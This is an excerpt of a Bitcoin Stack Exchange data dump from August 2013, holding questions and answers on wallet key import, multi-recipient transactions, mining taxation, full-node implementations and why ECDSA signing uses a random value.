  <row Id="12816" PostTypeId="2" ParentId="12788" CreationDate="2013-08-21T06:47:00.857" Score="1" Body="&lt;p&gt;In Open-Transactions, both parties have a copy of the &quot;last signed receipt&quot; for any given transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user forms the receipt and signs it, and then the server countersigns it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore the server cannot forge your receipt because the server does not have your private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When an issuer issues his currency onto an OT server, the server will have a copy of the issuer's &quot;last signed receipt,&quot; which includes the server ID and shows the current amount that has been issued.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the server cannot falsely claim to have a certain currency issued on that server, because the server cannot forge the issuer's signature (in the same way that the server cannot falsify your own receipt, since the server cannot forge your signature.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other users cannot forge your signature, nor can they forge the server's signature, nor can they forge the issuer's signature, so they cannot falsely issue units of your currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, each &quot;last signed receipt&quot; includes the current balance. For example, &quot;My current balance is 100 clams. I am withdrawing 10 clams, and my new balance will thus be 90 clams.&quot; This receipt also contains the server ID, as well as the asset type ID, and must be signed by the user before being countersigned by the server. Therefore this is also true for the issuer's last signed receipt, the same as for any other user.&lt;/p&gt;&#xA;" OwnerUserId="309" LastEditorUserId="6473" LastEditDate="2013-08-23T18:39:31.097" LastActivityDate="2013-08-23T18:39:31.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12817" PostTypeId="2" ParentId="12811" CreationDate="2013-08-21T06:52:28.447" Score="2" Body="&lt;p&gt;I haven't used MultiBit, but according to the &lt;a href=&quot;https://multibit.org/help_exportingPrivateKeys.html&quot; rel=&quot;nofollow&quot;&gt;Exporting private keys&lt;/a&gt; page in the documentation, you should be able to get the private keys. You can then import them to another client (local or web) and sweep the coins. For an example of how to do this with blockchain.info, see the &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_movingAWallet.html&quot; rel=&quot;nofollow&quot;&gt;Moving a wallet between MultiBit and blockchain.info&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="214" LastActivityDate="2013-08-21T06:52:28.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12818" PostTypeId="2" ParentId="12807" CreationDate="2013-08-21T06:56:11.913" Score="1" Body="&lt;p&gt;In case everything else fails, you can import your wallet into blockchain.info. See e.g. &lt;a href=&quot;https://www.bitinnovate.com/how-to-import-your-bitcoin-wallet-dat-into-blockchain-info/&quot; rel=&quot;nofollow&quot;&gt;How to import your Bitcoin wallet.dat into Blockchain.info&lt;/a&gt; by Damien P for more information.&lt;/p&gt;&#xA;" OwnerUserId="214" LastActivityDate="2013-08-21T06:56:11.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12819" PostTypeId="2" ParentId="12163" CreationDate="2013-08-21T07:24:26.417" Score="0" Body="&lt;p&gt;Another virtual currency exchange you can use to keep your litecoins in is &lt;a href=&quot;https://vircurex.com/&quot; rel=&quot;nofollow&quot;&gt;Vircurex&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't vouch for the reliability and trustworthiness of Vircurex, but I've experimented with it a couple of times and not lost any coins so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I would advise to store them in a cold off-line wallet (paper or digital storage) instead.&lt;/p&gt;&#xA;" OwnerUserId="214" LastActivityDate="2013-08-21T07:24:26.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12820" PostTypeId="1" AcceptedAnswerId="13114" CreationDate="2013-08-21T07:40:56.803" Score="5" ViewCount="729" Body="&lt;p&gt;I've seen discussions suggesting that&#xA;a monoculture of full nodes&#xA;is a risk to the security of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/2502/214&quot;&gt;The accepted answer&lt;/a&gt;&#xA;to the question&#xA;&lt;em&gt;&quot;What benefit does a non-mining client provide to the network?&quot;&lt;/em&gt;&#xA;gives an explanation with regard to full nodes in general.&#xA;I'm interested in alternative full node implementations in particular,&#xA;ignoring any wallet or wallet API capabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume that&#xA;one or more alternative full node implementations&#xA;can run the protocol reliably and accurately.&#xA;What are the short-term and long-term benefits of running such nodes&#xA;compared to running the Satoshi client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; See also &quot;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/12821/214&quot;&gt;What&amp;#39;s the status of alternative full node implementations?&lt;/a&gt;&quot;&lt;/p&gt;&#xA;" OwnerUserId="214" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-09-04T08:47:21.120" Title="Does running an alternative full node implementation benefit the Bitcoin network?" Tags="|network|nodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12821" PostTypeId="1" CreationDate="2013-08-21T08:15:23.500" Score="18" ViewCount="2262" Body="&lt;p&gt;In &quot;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/12820/214&quot;&gt;Does running an alternative full node implementation benefit the Bitcoin network?&lt;/a&gt;&quot;, I asked about running an alternative full node implementation for the benefit of the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the current status of different alternative full node implementations with regard to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;maturity (alpha/beta/stable)&lt;/li&gt;&#xA;&lt;li&gt;performance&lt;/li&gt;&#xA;&lt;li&gt;compatibility tests&lt;/li&gt;&#xA;&lt;li&gt;code review&lt;/li&gt;&#xA;&lt;li&gt;suitability for different purposes:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;experimentation&lt;/li&gt;&#xA;&lt;li&gt;merchants&lt;/li&gt;&#xA;&lt;li&gt;as a wallet&lt;/li&gt;&#xA;&lt;li&gt;as a lightweight wallet back-end&lt;/li&gt;&#xA;&lt;li&gt;solely for the benefit of the network?&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Moved the list of implementations into an answer.&lt;/p&gt;&#xA;" OwnerUserId="214" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2016-11-20T14:12:11.700" Title="What's the status of alternative full node implementations?" Tags="|network|nodes|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="12822" PostTypeId="1" CreationDate="2013-08-21T10:10:12.240" Score="7" ViewCount="1368" Body="&lt;p&gt;I need to generate a receive address that is directly associated with some metadata, M, that forms part of a verifiable contract.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I require that customers can verify that an address really was generated from a specific contract message, but I do not want them to have the private key to the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I obviously don't want to bloat the blockchain nor do I wish to use non-standard transactions. P2SH is also not possible as it is still largely unsupported by many online wallet providers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is my first attempt, based on (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=108423.0&quot;&gt;https://bitcointalk.org/index.php?topic=108423.0&lt;/a&gt;) ... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# generate an EC key pair for the company&#xA;issuer_public_key = issuer_private_key * G&#xA;&#xA;# create a contract message string, M&#xA;M = 'Terms of contract bla bla and also includes issuer_public_key for safety'&#xA;&#xA;# generate a hash of the message&#xA;e = SHA256(M)&#xA;&#xA;# create an EC point that is known to both parties&#xA;contract_point =  (e * issuer_public_key)&#xA;&#xA;# generate a public key for this contract to form our receive address. Customer agrees to contract when they send BTC to receive address.&#xA;receive_public_key = contract_point + issuer_public_key&#xA;&#xA;# the private key for the receive address is thus&#xA;receive_private_key = contract_point + issuer_private_key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Feedback much appreciated&lt;/p&gt;&#xA;" OwnerUserId="6453" LastActivityDate="2014-04-15T20:56:56.243" Title="How to 'attach' metadata to a bitcoin receive address" Tags="|transactions|hash|encryption|contracts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12823" PostTypeId="1" AcceptedAnswerId="12824" CreationDate="2013-08-21T11:01:45.773" Score="0" ViewCount="93" Body="&lt;p&gt;What's the easiest way for a user to create a transaction with 2 receiving addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not talking about &quot;change&quot;.  Suppose I want to send 1 BTC to two addresses:&#xA;Alice 1KMkHaogstQ33Ea9k1rQuT5uduPPPQunT4 and &#xA;Bob 123uibcSV7mTDSkzHi8pVaM4grLXxLfKre&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alice is supposed to get 0.9 BTC and Bob 0.1 BTC.&#xA;How can I do this in one transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a convenient way to make this happen from current (August 2013) Bitcoin client software?&lt;/p&gt;&#xA;" OwnerDisplayName="user5672" LastActivityDate="2013-08-21T12:47:53.463" Title="What's the easiest way for a user to create a transaction with 2 receiving addresses?" Tags="|wallet|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12824" PostTypeId="2" ParentId="12823" CreationDate="2013-08-21T12:47:53.463" Score="3" Body="&lt;p&gt;It's a built in feature of the reference Bitcoin-QT client. Make a transaction as normal, and click the [+] button to add a second recipient. &lt;/p&gt;&#xA;" OwnerUserId="6454" LastActivityDate="2013-08-21T12:47:53.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12826" PostTypeId="1" AcceptedAnswerId="23971" CreationDate="2013-08-21T14:02:46.560" Score="3" ViewCount="803" Body="&lt;p&gt;From a taxation perspective, I think it's important to clarify if running a Bitcoin mining operation is more like property exchange, labor to solve a puzzle, vs winning a lottery that runs every 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking from someone to answer who is familiar with accounting rules regarding lotteries, gambling, and similar operations.  As it stands, lottery earnings are taxed at enormous rates.  (50%)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I'm interested in US based operations, anyone with experience in other countries would be of interest as well.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-16T09:42:19.467" LastActivityDate="2016-03-16T09:42:19.467" Title="For US Tax purposes, is Bitcoin mining more like property, &quot;work to solve a puzzle&quot; or &quot;winning a lottery&quot;?" Tags="|legal|mining-reward|taxes|gambling|accounting|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12827" PostTypeId="1" CreationDate="2013-08-21T15:25:20.513" Score="0" ViewCount="652" Body="&lt;p&gt;i created new service which is using bitcoin for payment. I am bit struggling with Bitcoin community and don't know what to do next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently i &#xA;- i added service to bitcoin.it wiki&#xA;- created announcement on bitcointalk.org&#xA;- added link to reddit /r/Bitcoin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other possibilities to let the Bitcoin community know about my service?&lt;/p&gt;&#xA;" OwnerUserId="6354" LastEditorUserId="6242" LastEditDate="2013-08-25T23:33:25.503" LastActivityDate="2013-08-27T20:31:00.103" Title="Where to advertise new bitcoin service?" Tags="|marketing|" AnswerCount="2" CommentCount="0" ClosedDate="2013-08-30T15:57:31.547" ContentLicense="CC BY-SA 3.0" />
  <row Id="12829" PostTypeId="2" ParentId="12826" CreationDate="2013-08-21T15:57:43.753" Score="0" Body="&lt;p&gt;I am no lawyer.  Specially not American Lawyer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I know American definition of solving puzzle and winning lottery. Found out gambling with Americans. :-) They mean human effort and skill to solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Competition among people, with clues and people work from clues to answers, is &quot;puzzle&quot;, or &quot;game of skill.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No clues has Bitcoin mining.  Just guess, guess, guess.  No skill involved; only speed.  Also, not human effort.  Without you can computer win or lose.  You not can make computer win more.  Nothing you do can help.  American law says more like &quot;Lottery&quot; is this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure &quot;lottery or puzzle&quot; right question is though.  Lottery run many times, possible positive return, not chance to lose money, is, maybe, funny random payment schedule for work. Winning computer closes block, produces something others value.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Produced bitcoins dilute bitcoin same others hold. Could argue, maybe, paying you for service are they. Seems fair. But not something gambling with Americans taught me.   About this just guessing.&lt;/p&gt;&#xA;" OwnerUserId="6421" LastActivityDate="2013-08-21T15:57:43.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12830" PostTypeId="2" ParentId="12314" CreationDate="2013-08-21T16:46:26.563" Score="5" Body="&lt;p&gt;To answer your direct question, transactions will be delayed by the round-trip time light takes to get to the nearest mining community.  With low-earth orbit, this really shouldn't make much of a difference.&lt;/p&gt;&#xA;&#xA;&lt;hr/&gt;&#xA;&#xA;&lt;p&gt;That said, the deeper problem once space travel is wide-spread is that the current protocol is inherently space-time centralized.  This is because the planet with the most hashing power can control any blockchain, and all others are at a disadvantage based on the light-delay between them and the most up-to-date blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's say a bitcoin mining community forms on one of the moons in Jupiter rich in a superconductive material where the &lt;a href=&quot;http://www.universetoday.com/15097/temperature-of-jupiter/&quot;&gt;average temperature (128K)&lt;/a&gt; is &lt;a href=&quot;http://en.wikipedia.org/wiki/High-temperature_superconductivity&quot;&gt;low enough for superconductivity (&amp;lt;138K)&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mining BTC&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The community begins mining bitcoins.  However, even though they have a fourth of the mining power of the earth, the light delay between earth and Jupiter of &lt;a href=&quot;http://physics.uoregon.edu/~jimbrau/astr121/Notes/Jupiter/jupiterradio.html&quot;&gt;33 minutes at its closest distance&lt;/a&gt; means that they would have to find a block 66 minutes before earth finds the next block, which is completely unfeasible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mining jBTC&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus the community moves to a new currency called JBtc (Jupiter Bitcoins).  At first, they are hashing jBTC merrily by themselves and everything is going swimmingly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the Earthies soon learn of jBTC and get greedy, and since they have much greater hashing power than the Loonies they download the block chain from Jupiter and start hashing 33 minutes behind... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the difficulty only included the Jupiterian's mining equipment till that time, they are able to hash a block in 2 minutes.  By the time they get their next block from Jupiter 6 minutes later, they have already mined and published 3 blocks, so they stay on their chain since it is longer.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After 35 minutes of the earthies hashing, the Jupiterians receive the earthies first block.  The Jupiterlings say amongst themselves, &quot;Silly earthlings, your measly earth-chain is 5 blocks behind the current jBTC blockchain!  Mwahahaha!&quot; and continue hashing away on their chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After 53 minutes, however, the Jupiterians become enfuriated when they receive the first earth-chain that is longer than their own.  At this point, 8 blocks they have mined are now abandoned.  Going forward, their Jupiter blockchain has been completely hijacked and they now face the same situation as before which prevented them from mining bitcoins.  The Jupiterians stop mining and go into hiding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The earthlings laugh to themselves in pride at the silly Jupiterians.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Dominance!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 year later, the Jupiterians emerge, but as they have been manufacturing mining equipment the entire time, they now have 3 times the hashing power of the earth.  53 minutes after they flip the switch, they not only regain control of jBTC, but also they take control of BTC as well.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Immediately, the mining equipment market bottoms out on the earth, so covert Jupiterians on Earth go on ebay and buy all of the earth's mining equipment for a $x plus free shipping, which solidifies them as the solar system's mining leaders.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Or so they thought...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meanwhile, earth politicians debate sending a nuclear present to the Jupierians and a little community near Alpha Centauri begins ramping up production of a mining community of their own...&lt;/p&gt;&#xA;" OwnerUserId="3027" LastEditorUserId="3027" LastEditDate="2013-08-21T16:56:10.103" LastActivityDate="2013-08-21T16:56:10.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12831" PostTypeId="1" CreationDate="2013-08-21T17:38:09.403" Score="-1" ViewCount="611" Body="&lt;p&gt;Bought a bitcoin from btcquick and i can not figure out how to transfer coin from there to my blockchain wallet with private key. Please help iv'e spent 3 days trying to get this all set up and i have a coin i can't get to.&lt;/p&gt;&#xA;" OwnerUserId="6461" LastActivityDate="2013-08-21T20:18:51.733" Title="How to transfer bitcoin to wallet" Tags="|e-wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12832" PostTypeId="2" ParentId="12810" CreationDate="2013-08-21T18:21:41.930" Score="2" Body="&lt;p&gt;&quot;Destroying&quot; the electronic copy is harder than it seems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The right approach is to create a private key offline in a secure way (i.e., with no &quot;electronic copy&quot; beyond volatile ram) and send funds to that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be done with a copy of the html page from &lt;a href=&quot;http://bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;BitAddress&lt;/a&gt; stored to USB then accessed after booting to a LiveOS, such as an Ubuntu bootable ISO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you trust the sources, &lt;a href=&quot;http://bitcointalk.org/index.php?topic=163763.0&quot; rel=&quot;nofollow&quot;&gt;BTCVault&lt;/a&gt; is one distro with this.  &lt;a href=&quot;http://bitcointalk.org/index.php?topic=257672.0&quot; rel=&quot;nofollow&quot;&gt;Another&lt;/a&gt; is based on Puppy linux.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-08-21T18:21:41.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12833" PostTypeId="1" AcceptedAnswerId="79135" CreationDate="2013-08-21T19:11:02.683" Score="8" ViewCount="2716" Body="&lt;p&gt;Just given all the news about this topic lately (Android security flaw), I'm curious about WHERE and WHY the random number is used during the signing of a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I always thought a transaction was signed by just hashing the prev_out** and then encrypting that hash with the private key, so when it is published along side the public key it can be verified by other nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**(maybe I need more clarity here too: is the ENTIRE previous transaction  hashed at this point, or just one the input being used in the prev_out?) &lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2018-09-12T19:41:25.967" Title="Where does the random number come in to play when signing a transaction?" Tags="|transactions|signature|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12834" PostTypeId="2" ParentId="12585" CreationDate="2013-08-21T19:11:27.233" Score="1" Body="&lt;p&gt;There are two ways you can do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) MtGox Polling API V2. You call the &lt;code&gt;getFullDepth&lt;/code&gt; to download the full orderbook. Then you call &lt;code&gt;getPartialDepth&lt;/code&gt; for updates, replacing all the orders in your &lt;code&gt;master&lt;/code&gt; order book. This method is not very efficient and you can only poll at a throttled pace. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/timmolter/XChange/blob/develop/xchange-examples/src/main/java/com/xeiam/xchange/examples/mtgox/v2/service/marketdata/polling/MtGoxOrderBookChartDemo.java&quot; rel=&quot;nofollow&quot;&gt;Here's a demo&lt;/a&gt; from the XChange open source project for simply polling for the partial order book and creating an orderbook chart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) MtGox Polling API V2 + streaming. You call the &lt;code&gt;getFullDepth&lt;/code&gt; to download the full orderbook. Then you use the streaming API to receive &lt;code&gt;depth&lt;/code&gt; events and update your &lt;code&gt;master&lt;/code&gt; order book accordingly. Depth updates with an amount of zero mean that the orders were cancelled or filled, i.e. they don't exist anymore and you can remove them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/timmolter/XChange/blob/develop/xchange-examples/src/main/java/com/xeiam/xchange/examples/mtgox/v2/service/marketdata/streaming/MtGoxWebSocketSyncronizedOrderBookDemo.java&quot; rel=&quot;nofollow&quot;&gt;Here's a demo&lt;/a&gt; from the XChange open source project.&lt;/p&gt;&#xA;" OwnerUserId="874" LastActivityDate="2013-08-21T19:11:27.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12836" PostTypeId="2" ParentId="12831" CreationDate="2013-08-21T20:18:51.733" Score="0" Body="&lt;p&gt;This is not really a good answer, as unfortunately I have no experience with btcQuick nor the blockchain wallet, yet it turned out to be too long for a comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a post btcQuick.com feedback forum:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[...] btcQuick sent a .zip file containing a .pdf that had both a public and a private key (and QR codes for both). I scanned the private key into my blockchain app and sent the BTC to my main client.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, after ordering Bitcoin from btcQuick you should have received an email with a .zip-file attachment. In that .zip-file you should have a .pdf file which contains both a private and public key, as well as a QR representation for each. From what I gather the blockchain app has a function to read in QR representations of private keys. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried using the blockchain app to import the private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise please provide more information with your question.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-08-21T20:18:51.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12837" PostTypeId="2" ParentId="12833" CreationDate="2013-08-21T21:12:33.363" Score="8" Body="&lt;p&gt;This is a common misunderstanding. It just so happens that signing with RSA is the same as encrypting with the private key. But this is a quirk of the RSA algorithm. Bitcoin doesn't use RSA, it uses ECDSA. DSA is strictly a signature algorithm -- it has no encrypt operation at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://en.wikipedia.org/wiki/Digital_Signature_Algorithm#Signing&quot;&gt;ECDSA signature operation&lt;/a&gt;, like the DSA signature algorithm, requires a random value in order to generate a signature. The signature consists of two derived parameters that can only be generated with the private key but that can be verified without it. The relationship between the derived parameters depends on the message, so the message cannot be altered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly, if the same random value is used for two signatures, the private key can be derived from the signature.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-08-21T21:12:33.363" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12838" PostTypeId="1" CreationDate="2013-08-21T22:40:42.783" Score="-1" ViewCount="207" Body="&lt;p&gt;I have bought bitcoins on &lt;a href=&quot;https://www.bitcoin.de/en/btc_address&quot; rel=&quot;nofollow&quot;&gt;https://www.bitcoin.de/en/btc_address&lt;/a&gt;. However, I  don't know how to transfer them to a bitcoin wallet or why I need a bitcoin wallet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="6464" LastActivityDate="2013-08-24T21:48:09.903" Title="First bitcoins and confused" Tags="|transactions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12840" PostTypeId="1" AcceptedAnswerId="12877" CreationDate="2013-08-21T23:54:02.170" Score="0" ViewCount="2374" Body="&lt;p&gt;I'd like to route my multibit traffic through TOR, but have been unsuccessful finding out if it's possible. It's certainly not in the GUI settings on OSX.&lt;/p&gt;&#xA;" OwnerUserId="6468" LastActivityDate="2014-03-15T12:47:13.107" Title="Can Multibit be set to use a SOCKS proxy on OSX?" Tags="|multibit|tor|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12841" PostTypeId="2" ParentId="12810" CreationDate="2013-08-22T00:35:41.527" Score="0" Body="&lt;p&gt;Silly to argue me about whether need and why.  Found complete answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proper software for create new bitcoin-qt wallet, containing bitcoins from completely offline saved address/key from old account, using keyboard only, is bitcoin-qt.  Method as follows.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install bitcoin-qt, start it while online, wait days for complete blockchain download. &lt;/li&gt;&#xA;&lt;li&gt;Disconnect Internet and open bitcoin-qt. &lt;/li&gt;&#xA;&lt;li&gt;Go to help -&gt; debug window&lt;/li&gt;&#xA;&lt;li&gt;Enter command: importprivkey &amp;lt; private key &amp;gt; rescan=true&lt;/li&gt;&#xA;&lt;li&gt;close debug window.&lt;/li&gt;&#xA;&lt;li&gt;Wait minutes while client scans block chain to find tx from when you stored coins in address matching private key.&lt;/li&gt;&#xA;&lt;li&gt;Old coins, old address, private key for that address, now in wallet. Never save wallet while unencrypted; could be recovered even after erasure.&lt;/li&gt;&#xA;&lt;li&gt;Go to settings -&gt; change passphrase.  Enter new passphrase to encrypt wallet. Could even do this before import old key, probably should.&lt;/li&gt;&#xA;&lt;li&gt;Go to file -&gt; backup wallet. Save wallet.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Simple. Uncomplicated.  Non volatile, non failing, not hackable while offline, backup. Not need care if computer media/computer equipment fails or is stolen.  Can reformat drive, suffer malware/trojan infection, install new OS, whatever, in intervening time, without fear coin loss or key leak.  Good for years.  Nothing needed but pen and paper.  Not need trust very many programs, Not need trust them very many times.  Not need keep computer, non-paper media secure from hacks, theft, destruction, all intervening days.  Not need trust nor destroy printer to keep safe.  Not need special equipment, not need trust more software, not need trust smartphone, not need be online, to scan back in. Why argue about?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edward.&lt;/p&gt;&#xA;" OwnerUserId="6421" LastActivityDate="2013-08-22T00:35:41.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12842" PostTypeId="2" ParentId="12068" CreationDate="2013-08-22T01:40:17.897" Score="0" Body="&lt;p&gt;A full node bitcoin client has local copy of blockchain and keeps updating copy, whether has or not stored on it any private keys.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All need to do is scan chain look for transactions involving address you're interested in.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code to do that in standard bitcoin client; function triggered by command &quot;rescan&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need to find and extract that code, modify one or two lines to take address as command line argument, save. done.&lt;/p&gt;&#xA;" OwnerUserId="6421" LastActivityDate="2013-08-22T01:40:17.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12843" PostTypeId="2" ParentId="12838" CreationDate="2013-08-22T05:32:36.157" Score="1" Body="&lt;p&gt;Currently the Bitcoins that you bought are being kept by Bitcoin.de for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming, that you bought the Bitcoins in order to use them as payment medium or investment, it seems likely that you would want to move them to your control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two different kinds of wallets: Wallets offered by online services, which you access much like online banking, and personal wallets that you directly save on your computer or smartphone. In general wallets are storage tools for keeping funds, much like their physical counterparts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case it is important to create a backup of your wallet, as Bitcoins are lost when you lose access to the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many different services that offer online wallets and several different programs for your personal computer that allow you to create a wallet for yourself, for example the &lt;a href=&quot;http://bitcoin.org/de/download&quot; rel=&quot;nofollow&quot;&gt;original Bitcoin Client&lt;/a&gt;.&#xA;Once you have acquired a wallet, you should be able to determine an address to which you can withdraw the funds that Bitcoin.de currently keeps for you. &lt;a href=&quot;http://www.coindesk.com/information/how-to-store-your-bitcoins/&quot; rel=&quot;nofollow&quot;&gt;Coindesk has a section in it's getting started guide about the storage of Bitcoin.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, –I hope this doesn't sound too blunt– I would suggest that you find out a bit more about how Bitcoin works and what you want to do with them before you start experimenting, as it would be tragic if you accidentally lost your bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a &lt;a href=&quot;https://en.bitcoin.it/wiki/Getting_started&quot; rel=&quot;nofollow&quot;&gt;Getting started Guide here.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-08-22T14:20:42.050" LastActivityDate="2013-08-22T14:20:42.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
